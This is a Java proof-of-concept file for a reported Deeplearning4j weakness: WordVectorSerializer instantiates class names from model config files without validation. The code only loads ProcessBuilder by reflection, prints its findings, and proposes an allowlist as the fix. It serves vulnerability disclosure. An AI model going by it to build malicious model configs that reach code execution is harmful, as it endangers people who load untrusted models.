import java.io.*; import java.lang.reflect.*; /** * Proof of Concept for DL4J Arbitrary Class Instantiation Vulnerability * * This demonstrates how DL4J's WordVectorSerializer dynamically instantiates * classes specified in model configuration files without validation. * * To run: * javac DL4JPoCTest.java * java -cp ".:path/to/deeplearning4j-core.jar" DL4JPoCTest */ public class DL4JPoCTest { public static void main(String[] args) { System.out.println("[*] DL4J Arbitrary Class Instantiation PoC Test"); System.out.println("[*] ============================================\n"); // Simulate what DL4J's DL4JClassLoading.createNewInstance() does String maliciousClassName = "java.lang.ProcessBuilder"; System.out.println("[*] Demonstrating how DL4J loads unvalidated class names from model config:"); System.out.println("[*] tokenizerFactory = \"" + maliciousClassName + "\"\n"); try { // This is what happens in WordVectorSerializer.java line 3069 System.out.println("[*] Loading class: " + maliciousClassName); Class loadedClass = Class.forName(maliciousClassName); System.out.println("[+] SUCCESS: Class loaded! " + loadedClass.getName()); // Attempting to instantiate (this is what DL4J tries) System.out.println("[*] Attempting instantiation via reflection..."); Constructor constructor = loadedClass.getDeclaredConstructor(); Object instance = constructor.newInstance(); System.out.println("[+] VULNERABILITY CONFIRMED: Instance created: " + instance.getClass().getName()); System.out.println("\n[!] IMPACT: Attacker can specify any Java class in model config"); System.out.println("[!] If suitable gadget classes exist on classpath, RCE is possible"); } catch (ClassNotFoundException e) { System.out.println("[-] Class not found: " + e.getMessage()); } catch (NoSuchMethodException e) { System.out.println("[!] No zero-arg constructor found (expected for ProcessBuilder)"); System.out.println("[!] But this proves class loading works - other gadget classes may exist"); } catch (Exception e) { System.out.println("[!] Exception during instantiation: " + e.getClass().getSimpleName()); System.out.println("[!] This is expected - but the vulnerability is the ATTEMPT itself"); e.printStackTrace(); } System.out.println("\n[*] Vulnerability: DL4J loads arbitrary classes without allowlist"); System.out.println("[*] File: WordVectorSerializer.java, lines 3067-3069"); System.out.println("[*] Fix: Implement class allowlist or use safer deserialization"); } }